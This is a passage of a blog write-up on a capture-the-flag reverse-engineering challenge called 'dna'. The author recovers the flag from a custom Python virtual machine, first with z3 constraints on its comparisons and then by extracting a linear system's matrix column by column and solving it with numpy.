&lt;p>after looking at the comparisions i decided to use z3, by supplying a symbolic flag then adding constraints when the comparisions happen the script is &lt;a href="https://nothoudaifa.github.io/scripts/smiley2025-dna-solve1.py">here&lt;/a>
the script defines the flag as a list of symbolic 8 bitvecs (leaving the keys for the marshal code) using&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#34;.;,;.&lt;/span>&lt;span style="color:#d88200">{AAAAAAAAAAAAAAAAAAAAAAiAAAouAAAAAaAAAAAAAAAAAAAAA}&lt;/span>&lt;span style="color:#d88200">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">flag&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">list&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">6&lt;/span>&lt;span style="color:#111">:(&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">)])&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">range&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#111">ord&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;A&amp;#39;&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]&lt;/span>&lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">BitVec&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">f&lt;/span>&lt;span style="color:#d88200">&amp;#39;bv_&lt;/span>&lt;span style="color:#d88200">{&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#d88200">}&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">8&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>and the cmp instruction is now like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">elif&lt;/span> &lt;span style="color:#111">pri&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">8&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">(),&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">())&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#00a8c8">else&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># this check is for the last comparision, in here i run the z3 check&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">type&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#111">int&lt;/span> &lt;span style="color:#f92672">and&lt;/span> &lt;span style="color:#111">type&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">b&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#111">int&lt;/span> &lt;span style="color:#f92672">and&lt;/span> &lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">49&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">sol&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">check&lt;/span>&lt;span style="color:#111">()&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#111">sat&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">model&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">sol&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">model&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;.;,;,{&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">end&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">range&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">49&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">try&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">chr&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">model&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]]&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">as_long&lt;/span>&lt;span style="color:#111">()),&lt;/span>&lt;span style="color:#111">end&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">except&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#75af00">KeyError&lt;/span>&lt;span style="color:#111">,&lt;/span>&lt;span style="color:#75af00">IndexError&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">chr&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]),&lt;/span> &lt;span style="color:#111">end&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;}&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;unsat&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">exit&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># otherwise just add the constraint&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">sol&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">add&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#111">b&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span>&lt;span style="color:#f92672">+=&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>i run it and get the flag: &lt;code>.;,;,{we_ought_to_start_storing_our_data_as_dna_instead}&lt;/code>&lt;/p>
&lt;h2 id="the-second-solution-intended-after-the-ctf-ended">The Second Solution (intended) (after the ctf ended)&lt;/h2>
&lt;p>i talked before about it being a linear system, in this solve i tried to extract the values of the matrix and the result vector to solve this system, the reason i used z3 in the first solution is because i couldn&amp;rsquo;t extract all the matrix values from the disassembly (the first part of it has only 11 rows), after the ctf ended i thought of an idea, by multiplying a matrix with a vector/input flag (1, 0, 0 &amp;hellip;) the resulting vector will be the first column of the matrix&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/images/matrix-equation.png"
alt="matrix equation"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>and since i can extract the resulting vector, i can extract each column of the matrix, i just needed a bit of scripting.&lt;/p>
&lt;p>since i am setting all the flag bytes to 0, i had to hard code the keys in instruction 14 like this&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">elif&lt;/span> &lt;span style="color:#111">pri&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">13&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#f92672">not&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">key&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">unlucky&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">key&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">111&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">elif&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">unlucky&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">key&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">117&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">elif&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">unlucky&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">key&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">105&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">elif&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">unlucky&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">key&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">97&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;MARSHAL: &amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">key&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">f&lt;/span>&lt;span style="color:#111">():&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__code__&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">marshal&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">loads&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">bytes&lt;/span>&lt;span style="color:#111">([&lt;/span>&lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">key&lt;/span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">unlucky&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">)]))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span>&lt;span style="color:#f92672">+=&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>to extract the columns and the result vector i used this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">matrix&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">np&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">zeros&lt;/span>&lt;span style="color:#111">((&lt;/span>&lt;span style="color:#ae81ff">49&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">49&lt;/span>&lt;span style="color:#111">),&lt;/span> &lt;span style="color:#111">dtype&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">int&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#75715e"># matrix of values&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">rslt&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">np&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">zeros&lt;/span>&lt;span style="color:#111">((&lt;/span>&lt;span style="color:#ae81ff">49&lt;/span>&lt;span style="color:#111">),&lt;/span> &lt;span style="color:#111">dtype&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">int&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#75715e"># the compared vector&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">...&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">flag&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">list&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>&lt;span style="color:#8045ff">\x00&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">49&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">index&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">...&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">elif&lt;/span> &lt;span style="color:#111">pri&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">8&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">raise&lt;/span> &lt;span style="color:#75af00">Exception&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;Stack underflow&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">(),&lt;/span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">pop&lt;/span>&lt;span style="color:#111">())&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">s&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#00a8c8">else&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0x31&lt;/span> &lt;span style="color:#f92672">and&lt;/span> &lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">index&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">rslt&lt;/span>&lt;span style="color:#111">[:]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">e&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># this is the last comparision, break at it&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">matrix&lt;/span>&lt;span style="color:#111">[:,&lt;/span> &lt;span style="color:#111">index&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">column&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">index&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">column&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">e&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">index&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">e&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">column&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">b&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">f&lt;/span>&lt;span style="color:#d88200">&amp;#34;CMPEQ &lt;/span>&lt;span style="color:#d88200">{&lt;/span>&lt;span style="color:#111">hex&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#d88200">}&lt;/span>&lt;span style="color:#d88200"> &lt;/span>&lt;span style="color:#d88200">{&lt;/span>&lt;span style="color:#111">hex&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">b&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#d88200">}&lt;/span>&lt;span style="color:#d88200">&amp;#34;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">pc&lt;/span>&lt;span style="color:#f92672">+=&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>after extracting the values we can solve and print the flag using a simple linalg.solve from numpy:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">flag&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">np&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">linalg&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">solve&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">matrix&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">rslt&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">join&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">chr&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">round&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">val&lt;/span>&lt;span style="color:#111">))&lt;/span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">val&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>full script &lt;a href="https://nothoudaifa.github.io/scripts/smiley2025-dna-solve2.py">here&lt;/a>&lt;/p>
